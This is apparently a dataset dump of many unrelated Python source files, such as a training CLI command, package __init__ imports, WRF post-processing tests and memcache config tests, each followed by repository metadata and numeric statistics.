`ABEJA_ORGANIZATION_ID`.', callback=__try_get_organization_id) @click.option('--name', 'name', type=str, help='Training Job Definition Name', required=False) @click.option('--version', 'version', type=str, help='Training Job Definition Version', required=True) @click.option('-d', '--description', 'description', type=str, help='Training Job description', required=False) @click.option('--datasets', type=DATASET_PARAM_STR, help='Datasets name', default=None, required=False, multiple=True) @click.option('-e', '--environment', type=ENVIRONMENT_STR, help='Environment variables', default=None, required=False, multiple=True) @click.option('-v', '--volume', type=VOLUME_PARAM_STR, default=None, required=False, multiple=True, help='Volume driver options, ex) /path/source/on/host:/path/destination/on/container') @click.option('--v1', is_flag=True, type=bool, help='Specify if you use old custom runtime image', default=False, required=False) @click.option('--runtime', 'runtime', type=str, required=False, help='Runtime, equivalent to docker run `--runtime` option') @click_config_file.configuration_option( provider=__training_config_provider, implicit=True, default=CONFIGFILE_NAME, # by setting `default`, not allow to use `click.get_app_dir` config_file_name=CONFIGFILE_NAME, help='Read Configuration from PATH. By default read from `{}`'.format(CONFIGFILE_NAME)) def train_local(organization_id, name, version, description, datasets, environment, volume, v1, runtime=None): try: name = __get_job_definition_name(name, training_config) config_data = training_config.read(training_config.local_schema) job_definition_version = _describe_training_version(name, version) version_datasets = job_definition_version.get('datasets') if not version_datasets: version_datasets = {} version_environment = job_definition_version.get('environment') if not version_environment: version_environment = {} datasets = {**version_datasets, **dict(config_data.get('datasets', {})), **dict(datasets)} environment = {**version_environment, **dict(config_data.get('environment', {})), **dict(environment)} volume = build_volumes(volume) if volume else {} with TrainingJobLocalContainerRun( organization_id=organization_id, job_definition_name=name, job_definition_version=version, description=description, datasets=datasets, environment=environment, volume=volume, runtime=runtime, stdout=click.echo, platform_user_id=ABEJA_PLATFORM_USER_ID, platform_personal_access_token=ABEJA_PLATFORM_TOKEN, v1flag=v1 ) as job: job.watch() except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('train_local operation aborted: {}'.format(e)) click.echo('train_local operation aborted.') sys.exit(ERROR_EXITCODE) def _describe_training_version(name: str, job_definition_version: str): url = "{}/training/definitions/{}/versions/{}".format( ORGANIZATION_ENDPOINT, name, job_definition_version) return api_get(url)

47.476305

115

0.670586

6,869

59,108

5.605474

0.052118

0.065837

0.070642

0.039996

0.825888

0.791139

0.771478

0.752727

0.727249

0.709017

0

0.001415

0.198856

59,108

1,244

116

47.514469

0.811695

0.015768

0

0.67718

0

0.011132

0.303847

0.044746

0

0.000804

0

1

0.03525

false

0.000928

0.016698

0

0.06679

0

null

0

1

0

null

0

6

1f0f6d53c7bc4797a09f6aeb262b63d42e21b5c6

183

py

Python

extraction/__init__.py

csams/extraction

ea5906387c11f6fdee928d57d6a8e69e681343a9

[ "Apache-2.0" ]

null

extraction/__init__.py

csams/extraction

ea5906387c11f6fdee928d57d6a8e69e681343a9

[ "Apache-2.0" ]

null

extraction/__init__.py

csams/extraction

ea5906387c11f6fdee928d57d6a8e69e681343a9

[ "Apache-2.0" ]

null

from extraction.accumulator import Accumulator, KB, MB, GB # noqa: F401 from extraction.extractor import ExtractionContext # noqa: F401 from extraction.io import File # noqa: F401

45.75

72

0.786885

24

183

6

0.541667

0.291667

0.166667

0.305556

0

0.057692

0.147541

183

3

73

61

0.865385

0.174863

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

6

1f940f0189edae4f74fe2aa258d8dd027c4bb7ee

198

py

Python

src/imfusion/expression/__init__.py

jrderuiter/im-fusion

aeb693560c564666781c1873d8ae9ab4a4753835

[ "MIT" ]

3

2017-08-05T19:59:41.000Z

2019-06-21T03:59:10.000Z

src/imfusion/expression/__init__.py

jrderuiter/im-fusion

aeb693560c564666781c1873d8ae9ab4a4753835

[ "MIT" ]

5

2017-12-21T12:38:33.000Z

2020-11-17T16:42:41.000Z

src/imfusion/expression/__init__.py

jrderuiter/im-fusion

aeb693560c564666781c1873d8ae9ab4a4753835

[ "MIT" ]

1

2020-11-13T16:51:28.000Z

from .counts import (generate_exon_counts, read_exon_counts, estimate_size_factors, normalize_counts) from .test import test_de, test_de_exon, test_de_exon_single, test_de_gene

49.5

74

0.772727

29

198

4.758621

0.482759

0.173913

0.144928

0

0.176768

198

3

75

66

0.846626

0

1

0

1

0

true

0

0.666667

0

0.666667

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

2f095464307ccc1a8dee0b9bc844c7ede5dd237e

193

py

Python

arba/permute/__init__.py

matthigger/arba

c6c4a236e814acce02611dab57c1c8511e982729

[ "MIT" ]

null

arba/permute/__init__.py

matthigger/arba

c6c4a236e814acce02611dab57c1c8511e982729

[ "MIT" ]

null

arba/permute/__init__.py

matthigger/arba

c6c4a236e814acce02611dab57c1c8511e982729

[ "MIT" ]

null

from .f_size_model import * from .get_perm_matrix import * from .get_pval import * from .permute_discrim import * from .permute_regress import * from .permute_vba import * from .split import *

24.125

30

0.782383

29

193

4.931034

0.482759

0.41958

0.356643

0

0.145078

193

7

31

27.571429

0.866667

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

2f37161dbfa5d927dba9e450750feda57024b2cb

125

py

Python

taurex/pressure.py

ucl-exoplanets/TauREx3_public

cf8da465448df44c3c4dcc2cd0002ef34edd3920

[ "BSD-3-Clause" ]

10

2019-12-18T09:19:16.000Z

2021-06-21T11:02:06.000Z

taurex/pressure.py

ucl-exoplanets/TauREx3_public

cf8da465448df44c3c4dcc2cd0002ef34edd3920

[ "BSD-3-Clause" ]

10

2020-03-24T18:02:15.000Z

2021-08-23T20:32:09.000Z

taurex/pressure.py

ucl-exoplanets/TauREx3_public

cf8da465448df44c3c4dcc2cd0002ef34edd3920

[ "BSD-3-Clause" ]

8

2020-03-26T14:16:42.000Z

2021-12-18T22:11:25.000Z

from taurex.data.profiles.pressure import PressureProfile, SimplePressureProfile, FilePressureProfile, ArrayPressureProfile

62.5

124

0.888

10

125

11.1

1

0

0.064

125

1

125

0.948718

0

1

0

true

0

1

0

1

0

1

0

1

null

0

1

0

1

0

null

0

1

0

1

0

6

2f6d5e12a2e72c7c36300f7a9b5e8384b3281048

71

py

Python

mygrad/nnet/__init__.py

mkhan45/MyGrad

7114d56eebba4078875f580c9f4638ed275e2d4a

[ "MIT" ]

null

mygrad/nnet/__init__.py

mkhan45/MyGrad

7114d56eebba4078875f580c9f4638ed275e2d4a

[ "MIT" ]

null

mygrad/nnet/__init__.py

mkhan45/MyGrad

7114d56eebba4078875f580c9f4638ed275e2d4a

[ "MIT" ]

null

from .activations import * from .layers import * from .losses import *

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6

2f83b5707e47b549f950eaff61eea66ad72a2c4d

48

py

Python

authlib/specs/rfc7009/revocation.py

tk193192/authlib

4c60a628f64c6d385a06ea55e416092726b94d07

[ "BSD-3-Clause" ]

2

2021-04-26T18:17:37.000Z

2021-04-28T21:39:45.000Z

authlib/specs/rfc7009/revocation.py

tk193192/authlib

4c60a628f64c6d385a06ea55e416092726b94d07

[ "BSD-3-Clause" ]

4

2021-03-19T08:17:59.000Z

2021-06-10T19:34:36.000Z

authlib/specs/rfc7009/revocation.py

tk193192/authlib

4c60a628f64c6d385a06ea55e416092726b94d07

[ "BSD-3-Clause" ]

2

2021-05-24T20:34:12.000Z

2022-03-26T07:46:17.000Z

from authlib.oauth2.rfc7009.revocation import *

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1

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6

c80a8af50601297d2f793376cc57951d7b35bbda

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py

Python

nbNMF/__init__.py

PedroSebe/nbNMF

6ece79a10e138d2540e8f30c03db2e310765b18f

[ "MIT" ]

null

nbNMF/__init__.py

PedroSebe/nbNMF

6ece79a10e138d2540e8f30c03db2e310765b18f

[ "MIT" ]

null

nbNMF/__init__.py

PedroSebe/nbNMF

6ece79a10e138d2540e8f30c03db2e310765b18f

[ "MIT" ]

null

from .nbNMF import nbNMF

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0.833333

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1

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null

0

1

0

1

0

1

0

6

c0740b2ea03bd83c618de8385daa01354ba596b3

27

py

Python

athene/beamer/__init__.py

Genius1512/athene

d55afc494fc09f6ad681756e399a14c3783d0964

[ "MIT" ]

1

2022-01-31T13:17:06.000Z

athene/beamer/__init__.py

Genius1512/athene

d55afc494fc09f6ad681756e399a14c3783d0964

[ "MIT" ]

10

2022-01-31T08:00:53.000Z

2022-02-08T08:58:39.000Z

athene/beamer/__init__.py

Genius1512/athene

d55afc494fc09f6ad681756e399a14c3783d0964

[ "MIT" ]

null

from .beamer import remote

13.5

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null

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1

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1

0

6

c099b9a747d574ef1dd400957b5f519a6af85f31

195

py

Python

hedger/__init__.py

thorwhalen/sf

03957968108b40a21ef193803b832e96cf9bb1f4

[ "Apache-2.0" ]

1

2022-01-19T13:15:18.000Z

hedger/__init__.py

thorwhalen/sf

03957968108b40a21ef193803b832e96cf9bb1f4

[ "Apache-2.0" ]

null

hedger/__init__.py

thorwhalen/sf

03957968108b40a21ef193803b832e96cf9bb1f4

[ "Apache-2.0" ]

null

"""Semantic Finance >>> from hedger import get_ticker_symbols >>> tickers = get_ticker_symbols() >>> len(tickers) 4039 >>> 'GOOG' in tickers True """ from hedger.util import get_ticker_symbols

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6

c0b553aafaae99e59ec5b5cbb9870060b955e638

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py

Python

difference_predictor/__init__.py

c0ntradicti0n/Distinctiopus4

cf7982613f86f9d12c9f45a9f678be5d59f8fb3c

[ "MIT" ]

null

difference_predictor/__init__.py

c0ntradicti0n/Distinctiopus4

cf7982613f86f9d12c9f45a9f678be5d59f8fb3c

[ "MIT" ]

4

2020-01-28T23:03:03.000Z

2022-02-10T00:30:10.000Z

difference_predictor/__init__.py

c0ntradicti0n/Distinctiopus4

cf7982613f86f9d12c9f45a9f678be5d59f8fb3c

[ "MIT" ]

null

from difference_predictor import *

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true

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null

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null

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1

0

1

0

1

0

6

c0f6316af6282ff50a70fc24bcd5d14914e93a0a

100

py

Python

absen/createform/__init__.py

petr0max/absensi

79eb2d9ad9ff76eb59a1353d5d9d44a4822a7b92

[ "MIT" ]

null

absen/createform/__init__.py

petr0max/absensi

79eb2d9ad9ff76eb59a1353d5d9d44a4822a7b92

[ "MIT" ]

null

absen/createform/__init__.py

petr0max/absensi

79eb2d9ad9ff76eb59a1353d5d9d44a4822a7b92

[ "MIT" ]

null

from flask import Blueprint createform = Blueprint('createform', __name__) from . import models

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null

0

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238990821153260b1d1fa91a72680d83eee2cb04

28

py

Python

popcat_wrapper/__init__.py

NotFaizen/popcat_wrapper

f2ea07a07cfa8084115645272cdbdee718012b90

[ "MIT" ]

null

popcat_wrapper/__init__.py

NotFaizen/popcat_wrapper

f2ea07a07cfa8084115645272cdbdee718012b90

[ "MIT" ]

null

popcat_wrapper/__init__.py

NotFaizen/popcat_wrapper

f2ea07a07cfa8084115645272cdbdee718012b90

[ "MIT" ]

2

2021-09-10T00:27:21.000Z

2022-02-02T19:46:48.000Z

from popcat_wrapper import *

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true

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6

23a84855cc80e78d90151fb2de850d7289684435

91

py

Python

app/app/calc.py

Sharad-Naik/Receipe_app_api

3d9516d0a2408cd57f43eccf9e67a89a38367e82

[ "MIT" ]

null

app/app/calc.py

Sharad-Naik/Receipe_app_api

3d9516d0a2408cd57f43eccf9e67a89a38367e82

[ "MIT" ]

null

app/app/calc.py

Sharad-Naik/Receipe_app_api

3d9516d0a2408cd57f43eccf9e67a89a38367e82

[ "MIT" ]

null

def add(x, y): """add 2 numbers""" return x+y def substract(x, y): return x-y

13

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null

0

1

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1

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6

23cd15a9df908c6c1061b90ac0cf1a0129746ebd

4,316

py

Python

roppy/fluxsec.py

chiluf/roppy

d9e9022d9c0544697586fd7e55d33fee14e1a528

[ "MIT" ]

null

roppy/fluxsec.py

chiluf/roppy

d9e9022d9c0544697586fd7e55d33fee14e1a528

[ "MIT" ]

null

roppy/fluxsec.py

chiluf/roppy

d9e9022d9c0544697586fd7e55d33fee14e1a528

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Section class for flux calculations import math import numpy as np def staircase_from_line(i0, i1, j0, j1): swapXY = False if abs(i1-i0) < abs(j0-j1): # Mostly vertical i0, i1, j0, j1 = j0, j1, i0, i1 swapXY = True # Find integer points X0 and Y0 on line if i0 < i1: X0 = list(range(i0, i1+1)) elif i0 > i1: X0 = list(range(i0, i1-1, -1)) else: # i0 = i1 and j0 = j1 raise ValueError, "Section reduced to a point" slope = float(j1-j0) / (i1-i0) Y0 = [j0 + slope*(x-i0) for x in X0] # sign = -1 if Y0 is decreasing, otherwise sign = 1 sign = 1 if Y0[-1] < Y0[0]: sign = -1 # Decreasing Y # Make lists of positions along staircase X, Y = [i0], [j0] for i in range(len(X0)-1): x, y = X[-1], Y[-1] # Last point on list x0, y0 = X0[i], Y0[i] # Present point along line x1, y1 = X0[i+1], Y0[i+1] # Next point along line if abs(y - y1) > 0.5: # Append extra point if sign*(y - y0) < 0: # Jump first X.append(x0) Y.append(y+sign) X.append(x1) Y.append(y+sign) else: # Jump last X.append(x1) Y.append(y) X.append(x1) Y.append(y+sign) else: # Ordinary append X.append(x1) Y.append(y) if swapXY: X, Y = Y, X return np.array(X), np.array(Y) ## if abs(i1-i0) >= abs(j0-j1): # Work horizontally ## # Find integer points X0 and Y0 on line ## if i0 < i1: ## X0 = list(range(i0, i1+1)) ## elif i0 > i1: ## X0 = list(range(i0, i1-1, -1)) ## else: # i0 = i1 and j0 = j1 ## raise ValueError, "Section reduced to a point" ## slope = float(j1-j0) / (i1-i0) ## Y0 = [j0 + slope*(x-i0) for x in X0] ## # sign = -1 if Y0 is decreasing, otherwise sign = 1 ## sign = 1 ## if Y0[-1] < Y0[0]: sign = -1 # Decreasing Y ## # Make lists of positions along staircase ## X = [i0] ## Y = [j0] # Start ## for i in range(len(X0)-1): ## x, y = X[-1], Y[-1] # Last point on list ## x0, y0 = X0[i], Y0[i] # Present point along line ## x1, y1 = X0[i+1], Y0[i+1] # Next point along line ## if abs(y - y1) > 0.5: # Append extra point ## if sign*(y - y0) < 0: # Jump first ## X.append(x0) ## Y.append(y+sign) ## X.append(x1) ## Y.append(y+sign) ## else: # Jump last ## X.append(x1) ## Y.append(y) ## X.append(x1) ## Y.append(y+sign) ## else: # Ordinary append ## X.append(x1) ## Y.append(y) ## else: # Work in Y-direction ## if j0 < j1: ## Y0 = list(range(j0, j1+1)) ## elif j0 > j1: ## Y0 = list(range(j0, j1-1, -1)) ## slope = float(i1-i0) / (j1-j0) ## X0 = [i0 + slope*(y-j0) for y in Y0] ## sign = 1 ## if X0[-1] < X0[0]: sign = -1 # Decreasing X ## X = [X0[0]] ## Y = [Y0[0]] # Start ## for i in range(len(X0)-1): ## x, y = X[-1], Y[-1] ## x0, y0 = X0[i], Y0[i] ## x1, y1 = X0[i+1], Y0[i+1] ## if abs(x - x1) > 0.5: # Append extra point ## if sign*(x - x0) < 0: # Jump first ## X.append(x+sign) ## Y.append(y0) ## X.append(x+sign) ## Y.append(y1) ## else: # Jump last ## X.append(x) ## Y.append(y1) ## X.append(x+sign) ## Y.append(y1) ## else: # Ordinary append ## X.append(x) ## Y.append(y1) return np.array(X), np.array(Y)

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6

23ed826f1a3d3bfdab4a3d0b827de8323698c2ed

40

py

Python

pelican/plugins/feed_filter_tags/__init__.py

fransimo/feed_filter_tags

a9a71fca02b04b3aa2dbd8cc042300502ab405ca

[ "Apache-2.0" ]

null

pelican/plugins/feed_filter_tags/__init__.py

fransimo/feed_filter_tags

a9a71fca02b04b3aa2dbd8cc042300502ab405ca

[ "Apache-2.0" ]

null

pelican/plugins/feed_filter_tags/__init__.py

fransimo/feed_filter_tags

a9a71fca02b04b3aa2dbd8cc042300502ab405ca

[ "Apache-2.0" ]

null

from .feed_filter_tags import * # NOQA

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1

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6

f1a6e6e3f8dac0e2789e3bedc38c21223146f0fd

6,560

py

Python

PWPP/tests/test_calc.py

tjwixtrom/wrf_post_processor

ac8811eaf1add339b6cc8b2136482877c9d7b084

[ "BSD-3-Clause" ]

8

2018-10-22T12:55:07.000Z

2021-08-18T03:10:48.000Z

PWPP/tests/test_calc.py

tjwixtrom/wrf_post_processor

ac8811eaf1add339b6cc8b2136482877c9d7b084

[ "BSD-3-Clause" ]

3

2018-04-19T16:59:01.000Z

2018-07-30T21:34:32.000Z

PWPP/tests/test_calc.py

tjwixtrom/wrf_post_processor

ac8811eaf1add339b6cc8b2136482877c9d7b084

[ "BSD-3-Clause" ]

1

2018-07-13T18:30:47.000Z

############################################################################################## # # test_calc.py - Tests for variable calculation code # # by Tyler Wixtrom # Texas Tech University # ############################################################################################## from PWPP import wrfpost import pytest from metpy.units import units from netCDF4 import Dataset from numpy.testing import assert_array_almost_equal def test_temp_2m(): """Test for 2m temperature function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['temp_2m'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) temp2m = data.variables['temp_2m'][:] data_truth = Dataset('PWPP/tests/true_out.nc') temp2m_truth = data_truth.variables['temp_2m'][:] assert_array_almost_equal(temp2m, temp2m_truth, 4) data.close() data_truth.close() def test_dewpt_2m(): """Test for 2m dewpoint function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['dewpt_2m'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) dewpt2m = data.variables['dewpt_2m'][:] data_truth = Dataset('PWPP/tests/true_out.nc') dewpt2m_truth = data_truth.variables['dewpt_2m'][:] assert_array_almost_equal(dewpt2m, dewpt2m_truth, 4) data.close() data_truth.close() def test_q_2m(): """Test for 2m q function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['q_2m'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) q2m = data.variables['q_2m'][:] data_truth = Dataset('PWPP/tests/true_out.nc') q2m_truth = data_truth.variables['q_2m'][:] assert_array_almost_equal(q2m, q2m_truth, 4) data.close() data_truth.close() def test_v_10m(): """Test for 10m v function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['v_10m'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['v_10m'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['v_10m'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_u_10m(): """Test for 10m u function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['u_10m'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['u_10m'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['u_10m'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_mslp(): """Test for mslp function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['mslp'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['mslp'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['mslp'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_uh(): """Test for UH function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['UH'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['UH'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['UH'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_cape_cin(): """Test for cape and cin function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['cape', 'cin'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['cape'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['cape'][:] assert_array_almost_equal(test_data, truth_data, 4) test_data = data.variables['cin'][:] truth_data = data_truth.variables['cin'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_refl(): """Test for refl function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['refl'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['DBZ'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['DBZ'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_isobaric(): """Test for isobaric function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['temp'] plevs = [500] * units.hPa with pytest.warns(UserWarning): wrfpost(datafile, outfile, variables, plevs=plevs) data = Dataset(outfile) test_data = data.variables['temp'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['temp'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close() def test_precip(): """Test for refl function""" datafile = 'PWPP/tests/testfile.nc' # Taken from units testing on WRF-Python package outfile = 'PWPP/tests/outfile.nc' variables = ['timestep_pcp', 'tot_pcp'] wrfpost(datafile, outfile, variables) data = Dataset(outfile) test_data = data.variables['timestep_pcp'][:] data_truth = Dataset('PWPP/tests/true_out.nc') truth_data = data_truth.variables['timestep_pcp'][:] assert_array_almost_equal(test_data, truth_data, 4) test_data = data.variables['tot_pcp'][:] truth_data = data_truth.variables['tot_pcp'][:] assert_array_almost_equal(test_data, truth_data, 4) data.close() data_truth.close()

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0

6

f1dee02c64e57b4fead6086e003725dfa61fd8d3

70

py

Python

python/testData/formatter/noSpaceAroundPowerOperator_after.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/formatter/noSpaceAroundPowerOperator_after.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/formatter/noSpaceAroundPowerOperator_after.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

import math def circle_area(radius): return math.PI * radius**2

11.666667

30

0.7

11

70

4.363636

0.818182

0

0.017857

0.2

70

5

31

14

0.839286

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

f1e538f13dfbff389a63a9d2b00168f2617e2dce

24

py

Python

utils/SCscore/utils/__init__.py

moyiming1/Retrosynthesis-pathway-ranking

380f31189d09395d0de911759b8bcea436b559b2

[ "MIT" ]

10

2021-02-24T02:31:40.000Z

2022-02-17T07:58:46.000Z

utils/SCscore/utils/__init__.py

wangxr0526/Retrosynthesis-pathway-ranking

380f31189d09395d0de911759b8bcea436b559b2

[ "MIT" ]

1

2022-02-14T16:13:59.000Z

utils/SCscore/utils/__init__.py

wangxr0526/Retrosynthesis-pathway-ranking

380f31189d09395d0de911759b8bcea436b559b2

[ "MIT" ]

3

2021-01-05T11:43:03.000Z

2022-02-17T08:52:27.000Z

from .nn import linearND

24

0.833333

4

24

5

1

0

0.125

24

1

24

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

9e9138577a1a962e4d53aed515048cf9fcdf20f6

56

py

Python

toolkit/helpers/bdd/__init__.py

CCE-IT/cce-toolkit

a3dc470bd8fd3f01615ff57198dfefc88d3aa50c

[ "BSD-3-Clause" ]

8

2016-06-23T14:41:26.000Z

2018-07-06T17:54:08.000Z

toolkit/helpers/bdd/__init__.py

cceit/cce-toolkit

a3dc470bd8fd3f01615ff57198dfefc88d3aa50c

[ "BSD-3-Clause" ]

null

toolkit/helpers/bdd/__init__.py

cceit/cce-toolkit

a3dc470bd8fd3f01615ff57198dfefc88d3aa50c

[ "BSD-3-Clause" ]

null

from .bdd import * # NOQA from .utils import * # NOQA

18.666667

28

0.642857

8

56

4.5

0.625

0.555556

0

0.25

56

2

29

28

0.857143

0.160714

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

9eb80203bf9193511a2713b9c73f7aaf0a50b477

177

py

Python

colliflow/python/colliflow/__init__.py

YodaEmbedding/colliflow

524a9397878ce2e7dde6a4526a91f866c03fc3e7

[ "MIT" ]

1

2021-02-08T22:20:34.000Z

colliflow/python/colliflow/__init__.py

YodaEmbedding/colliflow

524a9397878ce2e7dde6a4526a91f866c03fc3e7

[ "MIT" ]

null

colliflow/python/colliflow/__init__.py

YodaEmbedding/colliflow

524a9397878ce2e7dde6a4526a91f866c03fc3e7

[ "MIT" ]

null

from .model import * from .modules.input import Input from .modules.module import * from .schedulers import * from .server import * from .tensors import * from .typing import *

22.125

32

0.757062

24

177

5.583333

0.416667

0.373134

0

0.158192

177

7

33

25.285714

0.899329

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

7b6b1d02289ff004a130238add7ec3ad7cd20f91

41

py

Python

h5Nastran/h5Nastran/utilities/__init__.py

ACea15/pyNastran

5ffc37d784b52c882ea207f832bceb6b5eb0e6d4

[ "BSD-3-Clause" ]

293

2015-03-22T20:22:01.000Z

2022-03-14T20:28:24.000Z

h5Nastran/h5Nastran/utilities/__init__.py

ACea15/pyNastran

5ffc37d784b52c882ea207f832bceb6b5eb0e6d4

[ "BSD-3-Clause" ]

512

2015-03-14T18:39:27.000Z

2022-03-31T16:15:43.000Z

h5Nastran/h5Nastran/utilities/__init__.py

ACea15/pyNastran

5ffc37d784b52c882ea207f832bceb6b5eb0e6d4

[ "BSD-3-Clause" ]

136

2015-03-19T03:26:06.000Z

2022-03-25T22:14:54.000Z

from .immutable_dict import ImmutableDict

41

0.902439

5

41

7.2

1

0

0.073171

41

1

41

0.947368

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

c8a81ae85ef74ce09899d86c5d56b73024837e6b

1,740

py

Python

tests/backend/config/memcache/test_pythonmemcached.py

anomaly/vishnu

808febfd402842550390f72ca82ba97e43eb8155

[ "Apache-2.0" ]

4

2017-01-30T06:40:40.000Z

2017-05-18T02:31:25.000Z

tests/backend/config/memcache/test_pythonmemcached.py

anomaly/vishnu

808febfd402842550390f72ca82ba97e43eb8155

[ "Apache-2.0" ]

24

2016-09-16T06:16:15.000Z

2018-10-08T03:33:13.000Z

tests/backend/config/memcache/test_pythonmemcached.py

anomaly/vishnu

808febfd402842550390f72ca82ba97e43eb8155

[ "Apache-2.0" ]

1

2020-02-13T22:01:50.000Z

import pytest import sys @pytest.mark.skipif(sys.version_info > (3, 0), reason="python-memcached is not supported under python3") def test_default(): from vishnu.backend import PythonMemcached from vishnu.backend.config.memcache import DEFAULT_HOST, DEFAULT_PORT config = PythonMemcached() assert config.host == DEFAULT_HOST assert config.port == DEFAULT_PORT @pytest.mark.skipif(sys.version_info > (3, 0), reason="python-memcached is not supported under python3") def test_custom_host(): from vishnu.backend import PythonMemcached from vishnu.backend.config.memcache import DEFAULT_PORT custom_host = "memcache.cloud" config = PythonMemcached(host=custom_host) assert config.host == custom_host assert config.port == DEFAULT_PORT @pytest.mark.skipif(sys.version_info > (3, 0), reason="python-memcached is not supported under python3") def test_invalid_host(): from vishnu.backend import PythonMemcached with pytest.raises(TypeError): PythonMemcached(host=23) @pytest.mark.skipif(sys.version_info > (3, 0), reason="python-memcached is not supported under python3") def test_custom_port(): from vishnu.backend import PythonMemcached from vishnu.backend.config.memcache import DEFAULT_HOST custom_port = 11212 config = PythonMemcached(port=custom_port) assert config.host == DEFAULT_HOST assert config.port == custom_port @pytest.mark.skipif(sys.version_info > (3, 0), reason="python-memcached is not supported under python3") def test_invalid_port(): from vishnu.backend import PythonMemcached with pytest.raises(TypeError): PythonMemcached(port="string") with pytest.raises(TypeError): PythonMemcached(port=-100)

32.830189

104

0.75

224

1,740

5.700893

0.174107

0.062647

0.1065

0.074393

0.859828

0.831637

0.781519

0.729836

0

0.01703

0.156322

1,740

53

105

32.830189

0.852861

0

0.459459

0

0.146468

0

0.162162

1

0.135135

false

0

0.27027

0

0.405405

0

null

0

1

0

null

0

6

cdc0f5292ee1a5b216f961b1d54ef17e23a83147

82

py

Python

simulator/netlang/__init__.py

thuime/XPEsim

ab97d4c3c5b32ce4804ca58ad0f0083bb9de11fc

[ "MIT" ]

27

2018-04-17T02:39:57.000Z

2022-03-25T13:51:14.000Z

simulator/netlang/__init__.py

Arvin-xd/XPEsim

ab97d4c3c5b32ce4804ca58ad0f0083bb9de11fc

[ "MIT" ]

1

2018-12-13T17:58:20.000Z

2021-04-15T15:32:04.000Z

simulator/netlang/__init__.py

Arvin-xd/XPEsim

ab97d4c3c5b32ce4804ca58ad0f0083bb9de11fc

[ "MIT" ]

14

2018-04-17T02:40:17.000Z

2021-12-24T22:11:40.000Z

from . import * from module import * from transfer import * from dataset import *

16.4

22

0.743902

11

82

5.545455

0.454545

0.491803

0

0.195122

82

4

23

20.5

0.924242

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

a81fa4a73bc09ff9f0b3f853507ed0482dada96e

113

py

Python

__init__.py

tmkch/spotifymosaic

0c5c85b0f1f18881fd64cda021f999b6763a77f2

[ "MIT" ]

1

